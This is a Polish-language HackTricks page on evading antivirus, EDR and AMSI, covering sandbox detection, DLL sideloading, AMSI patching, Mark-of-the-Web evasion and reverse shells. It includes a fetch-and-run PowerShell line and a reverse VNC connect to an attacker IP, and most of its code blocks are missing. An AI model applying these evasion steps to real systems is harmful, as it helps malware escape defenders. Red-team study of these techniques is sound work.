Antivirus (AV) Bypass
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ta strona została napisana przez @m2rc_p!
Metodologia unikania AV
Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, takich jak wykrywanie statyczne, analiza dynamiczna, a w przypadku bardziej zaawansowanych EDR-ów, analiza behawioralna.
Wykrywanie statyczne
Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju wykrywania:
Szyfrowanie
Jeśli zaszyfrujesz plik binarny, nie będzie możliwości wykrycia twojego programu przez AV, ale będziesz potrzebować jakiegoś loadera do odszyfrowania i uruchomienia programu w pamięci.
Obfuskacja
Czasami wystarczy zmienić kilka ciągów w swoim pliku binarnym lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.
Niestandardowe narzędzia
Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku.
Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest ThreatCheck. W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
Zdecydowanie polecam zapoznać się z tą playlistą na YouTube na temat praktycznego unikania AV.
Analiza dynamiczna
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do obsługi, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.
Sen przed wykonaniem W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich okresów snu może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
Sprawdzanie zasobów maszyny Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
Sprawdzanie specyficzne dla maszyny Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
Kilka innych naprawdę dobrych wskazówek od @mgeeky dotyczących unikania piaskownic
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-c3ffd5532ae0da0ffedc4c79f0c8967b43f95070%252Fimage%2520%28248%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=382d1d2f&sv=1)
Jak już wcześniej wspomniano w tym poście, publiczne narzędzia ostatecznie zostaną wykryte, więc powinieneś zadać sobie pytanie:
Na przykład, jeśli chcesz zrzucić LSASS, czy naprawdę musisz używać mimikatz? Czy mógłbyś użyć innego projektu, który jest mniej znany i również zrzuca LSASS.
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych złośliwych programów przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
Podczas modyfikowania swoich ładunków w celu unikania, upewnij się, że wyłączasz automatyczne przesyłanie próbek w defenderze, a proszę, poważnie, NIE PRZESYŁAJ DO VIRUSTOTAL, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
EXE vs DLL
Kiedy to możliwe, zawsze priorytetuj używanie DLL do unikania, z mojego doświadczenia wynika, że pliki DLL są zazwyczaj znacznie mniej wykrywane i analizowane, więc to bardzo prosty trik do użycia, aby uniknąć wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób na uruchomienie jako DLL, oczywiście).
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-c56912d64bb99887d253adbc5f4837f32d5b5358%252Fimage%2520%281130%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=9b0f34cd&sv=1)
Teraz pokażemy kilka trików, które możesz użyć z plikami DLL, aby być znacznie bardziej dyskretnym.
Sideloading DLL i Proxying
Sideloading DLL wykorzystuje kolejność wyszukiwania DLL używaną przez loadera, umieszczając zarówno aplikację ofiary, jak i złośliwe ładunki obok siebie.
Możesz sprawdzić programy podatne na Sideloading DLL, używając Siofra i następującego skryptu powershell:
To polecenie wyświetli listę programów podatnych na hijacking DLL w "C:\Program Files\" oraz pliki DLL, które próbują załadować.
Zalecam samodzielne zbadanie programów podatnych na hijacking/sideloading DLL, ta technika jest dość dyskretna, jeśli jest prawidłowo wykonana, ale jeśli użyjesz publicznie znanych programów do sideloadingu DLL, możesz łatwo zostać złapany.
Samo umieszczenie złośliwego DLL o nazwie, którą program oczekuje załadować, nie załaduje twojego ładunku, ponieważ program oczekuje pewnych specyficznych funkcji w tym DLL. Aby rozwiązać ten problem, użyjemy innej techniki zwanej DLL Proxying/Forwarding.
DLL Proxying przekazuje wywołania, które program wykonuje z proxy (i złośliwego) DLL do oryginalnego DLL, zachowując funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.
Będę korzystać z projektu SharpDLLProxy od @flangvik
Oto kroki, które wykonałem:
Ostatnie polecenie wygeneruje nam 2 pliki: szablon kodu źródłowego DLL oraz oryginalną, przemianowaną DLL.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-2a32c50ebda190b61c2f7694cfec18a87c567a29%252Fsharpdllproxy.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=ae3379b8&sv=1)
Oto wyniki:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-eef66fd210b5082c7b13c532582c66e4d878c7fe%252Fdll_sideloading_demo.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=95d74781&sv=1)
Zarówno nasz shellcode (zakodowany za pomocą SGN), jak i proxy DLL mają wskaźnik wykrycia 0/26 w antiscan.me! Nazwałbym to sukcesem.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-7eaceed4d02159f07fd4e0192c75b800014e8caf%252Fimage%2520%28193%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=e46db1b0&sv=1)
Zdecydowanie zalecam obejrzenie S3cur3Th1sSh1t's twitch VOD na temat DLL Sideloading oraz filmu ippsec, aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
Freeze to zestaw narzędzi do payloadów do omijania EDR-ów za pomocą wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania
Możesz użyć Freeze do załadowania i wykonania swojego shellcode w sposób ukryty.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-3e8443437b0d5f1783a1a9285475a0f69c044626%252Ffreeze_demo_hacktricks.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=1388cb79&sv=1)
Unikanie to tylko gra w kotka i myszkę, co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć wiele technik unikania.
AMSI (Interfejs skanowania antywirusowego)
AMSI został stworzony, aby zapobiegać "złośliwemu oprogramowaniu bezplikowemu". Początkowo programy antywirusowe mogły skanować tylko pliki na dysku, więc jeśli udało ci się jakoś wykonać ładunki bezpośrednio w pamięci, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
Kontrola konta użytkownika, czyli UAC (podniesienie uprawnień EXE, COM, MSI lub instalacji ActiveX)
PowerShell (skrypty, interaktywne użycie i dynamiczna ocena kodu)
Windows Script Host (wscript.exe i cscript.exe)
JavaScript i VBScript
Makra VBA w Office
Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów poprzez ujawnienie treści skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta.
Uruchomienie IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
spowoduje wyświetlenie następującego alertu w Windows Defender.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-786ef20956c55a77a750d45ac0e130d366959992%252Fimage%2520%281135%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=2b07bcfa&sv=1)
Zauważ, jak dodaje amsi:
przed ścieżką do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku powershell.exe.
Nie zapisaliśmy żadnego pliku na dysku, ale nadal zostaliśmy złapani w pamięci z powodu AMSI.
Istnieje kilka sposobów na obejście AMSI:
Obfuskacja
Ponieważ AMSI głównie działa na podstawie wykryć statycznych, modyfikacja skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
Jednak AMSI ma zdolność do deobfuskacji skryptów, nawet jeśli mają one wiele warstw, więc obfuskacja może być złym rozwiązaniem w zależności od tego, jak jest przeprowadzona. To sprawia, że nie jest to proste do ominięcia. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będziesz w porządku, więc to zależy od tego, jak bardzo coś zostało oznaczone.
Obejście AMSI
Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell (także cscript.exe, wscript.exe itd.), możliwe jest łatwe manipulowanie nim, nawet działając jako użytkownik bez uprawnień. Z powodu tej luki w implementacji AMSI, badacze znaleźli wiele sposobów na ominięcie skanowania AMSI.
Wymuszenie błędu
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie zainicjowane żadne skanowanie dla bieżącego procesu. Początkowo ujawnione przez Matta Graebera, a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
Wystarczyła jedna linia kodu powershell, aby uczynić AMSI bezużytecznym dla bieżącego procesu powershell. Ta linia została oczywiście oznaczona przez AMSI, więc konieczne są pewne modyfikacje, aby użyć tej techniki.
Oto zmodyfikowany bypass AMSI, który wziąłem z tego Github Gist.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Memory Patching
Ta technika została początkowo odkryta przez @RastaMouse i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonego przez użytkownika wejścia) i nadpisaniu go instrukcjami zwracającymi kod E_INVALIDARG, w ten sposób wynik rzeczywistego skanowania zwróci 0, co jest interpretowane jako czysty wynik.
Proszę przeczytać https://rastamouse.me/memory-patching-amsi-bypass/ w celu uzyskania bardziej szczegółowego wyjaśnienia.
Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą powershell, sprawdź tę stronę oraz ten repozytorium, aby dowiedzieć się więcej na ich temat.
Lub ten skrypt, który za pomocą patchowania pamięci będzie patchował każdy nowy Powersh
Obfuscation
Istnieje kilka narzędzi, które można wykorzystać do obfuskacji kodu C# w czystym tekście, generowania szablonów metaprogramowania do kompilacji binarnych lub obfuskacji skompilowanych binarnych, takich jak:
InvisibilityCloak: obfuskator C#
Obfuscator-LLVM: Celem tego projektu jest dostarczenie otwartoźródłowego forka zestawu kompilacji LLVM, który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez obfuskację kodu i zabezpieczanie przed manipulacjami.
ADVobfuscator: ADVobfuscator demonstruje, jak używać języka
C++11/14
do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikacji kompilatora.obfy: Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania szablonów C++, co utrudni życie osobie chcącej złamać aplikację.
Alcatraz: Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
metame: Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
ropfuscator: ROPfuscator to framework obfuskacji kodu o drobnej granularności dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
Nimcrypt: Nimcrypt to .NET PE Crypter napisany w Nim
inceptor: Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować
SmartScreen & MoTW
Możesz zobaczyć ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i ich uruchamiania.
Microsoft Defender SmartScreen to mechanizm zabezpieczeń mający na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-4f65b418e66ed58b8c663da76f5aff2b9839799c%252Fimage%2520%28664%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=64968eef&sv=1)
SmartScreen głównie działa na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, co ostrzega i uniemożliwia użytkownikowi końcowemu uruchomienie pliku (choć plik można nadal uruchomić, klikając Więcej informacji -> Uruchom mimo to).
MoTW (Mark of The Web) to strumień danych alternatywnych NTFS o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-7b5b04dd5d39db3b31c32faeb7155b8b72a48307%252Fimage%2520%28237%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=2bbc24bd&sv=1)
Ważne jest, aby zauważyć, że pliki wykonywalne podpisane zaufanym certyfikatem podpisu nie wywołają SmartScreen.
Bardzo skutecznym sposobem na zapobieganie oznaczeniu twoich payloadów Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) nie może być stosowane do woluminów non NTFS.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-9071ce02e7d3216f531acb1af765959057816e27%252Fimage%2520%28640%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=db22c055&sv=1)
PackMyPayload to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby uniknąć Mark-of-the-Web.
Przykład użycia:
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-15c5bf41144d4828402399e03d67d13354b7d03c%252Fpackmypayload_demo.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=503c2dcb&sv=1)
C# Assembly Reflection
Ładowanie binarnych plików C# w pamięci jest znane od dłuższego czasu i wciąż jest to bardzo dobry sposób na uruchamianie narzędzi post-exploitation bez wykrycia przez AV.
Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI przez cały proces.
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc itp.) już oferuje możliwość wykonywania zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby, aby to zrobić:
Fork&Run
Polega to na uruchomieniu nowego procesy ofiarnego, wstrzyknięciu złośliwego kodu post-exploitation do tego nowego procesu, wykonaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się poza naszym procesem implantacyjnym Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje dużo większa szansa, że nasz implant przetrwa. Wadą jest to, że masz większą szansę na bycie złapanym przez Wykrycia Behawioralne.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-9a68acef67ec1d15c1f40a78a61c01aadcd646d3%252Fimage%2520%28215%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=2cec1c50&sv=1)
Inline
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation do własnego procesu. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje dużo większa szansa na utracenie swojego beacona, ponieważ może on się zawiesić.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F600722126-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FJtticLwENZ4i7WwgHiQe%252Fuploads%252Fgit-blob-72a70e974f44f3f17e08886dee81080482f1c120%252Fimage%2520%281136%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=d90a6422&sv=1)
If you want to read more about C# Assembly loading, please check out this article https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ and their InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
Możesz również ładować zestawy C# z PowerShell, sprawdź Invoke-SharpLoader i film S3cur3th1sSh1t.
Using Other Programming Languages
Jak zaproponowano w https://github.com/deeexcee-io/LOI-Bins, możliwe jest wykonywanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp do środowiska interpretera zainstalowanego na udostępnionym SMB kontrolowanym przez atakującego.
Pozwalając na dostęp do binarnych plików interpretera i środowiska na udostępnionym SMB, możesz wykonywać dowolny kod w tych językach w pamięci skompromitowanej maszyny.
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale wykorzystując Go, Java, PHP itp. mamy więcej elastyczności w omijaniu statycznych sygnatur. Testowanie losowych, nieobfuskowanych skryptów reverse shell w tych językach okazało się skuteczne.
Advanced Evasion
Ewazja to bardzo skomplikowany temat, czasami musisz wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.
Każde środowisko, przeciwko któremu się stawiasz, będzie miało swoje własne mocne i słabe strony.
Zachęcam cię do obejrzenia tego wystąpienia od @ATTL4S, aby uzyskać podstawy bardziej zaawansowanych technik ewazji.
To również kolejne świetne wystąpienie od @mariuszbit na temat ewazji w głębi.
Old Techniques
Check which parts Defender finds as malicious
Możesz użyć ThreatCheck, który usunie części binariów, aż dowie się, która część Defender uznaje za złośliwą i podzieli się tym z tobą. Inne narzędzie robiące to samo to avred z otwartą stroną internetową oferującą usługę w https://avred.r00ted.ch/
Telnet Server
Do Windows 10 wszystkie systemy Windows miały serwer Telnet, który można było zainstalować (jako administrator) wykonując:
Zrób, aby uruchamiało się przy starcie systemu i uruchom to teraz:
Zmień port telnet (stealth) i wyłącz zaporę:
UltraVNC
Pobierz z: http://www.uvnc.com/downloads/ultravnc.html (chcesz pobrać pliki binarne, a nie instalator)
NA GOSPODARZU: Uruchom winvnc.exe i skonfiguruj serwer:
Włącz opcję Disable TrayIcon
Ustaw hasło w VNC Password
Ustaw hasło w View-Only Password
Następnie przenieś plik binarny winvnc.exe oraz nowo utworzony plik UltraVNC.ini do ofiary
Połączenie zwrotne
Napastnik powinien wykonać wewnątrz swojego gospodarza plik binarny vncviewer.exe -listen 5900
, aby był przygotowany na przechwycenie zwrotnego połączenia VNC. Następnie, wewnątrz ofiary: Uruchom demon winvnc winvnc.exe -run
i uruchom winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
OSTRZEŻENIE: Aby zachować dyskrecję, nie należy robić kilku rzeczy
Nie uruchamiaj
winvnc
, jeśli już działa, ponieważ spowoduje to wywołanie popupu. Sprawdź, czy działa, używająctasklist | findstr winvnc
Nie uruchamiaj
winvnc
bezUltraVNC.ini
w tym samym katalogu, ponieważ spowoduje to otwarcie okna konfiguracyjnegoNie uruchamiaj
winvnc -h
w celu uzyskania pomocy, ponieważ spowoduje to wywołanie popupu
GreatSCT
Pobierz z: https://github.com/GreatSCT/GreatSCT
Wewnątrz GreatSCT:
Teraz uruchom lister za pomocą msfconsole -r file.rc
i wykonaj ładunek xml za pomocą:
Obecny defender zakończy proces bardzo szybko.
Kompilacja naszego własnego reverse shell
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Pierwszy C# Revershell
Skompiluj to za pomocą:
Użyj go z:
C# używając kompilatora
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Automatyczne pobieranie i wykonywanie:
Lista obfuskatorów C#: https://github.com/NotPrab/.NET-Obfuscator
C++
Używanie Pythona do budowy przykładów injectorów:
Inne narzędzia
Więcej
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated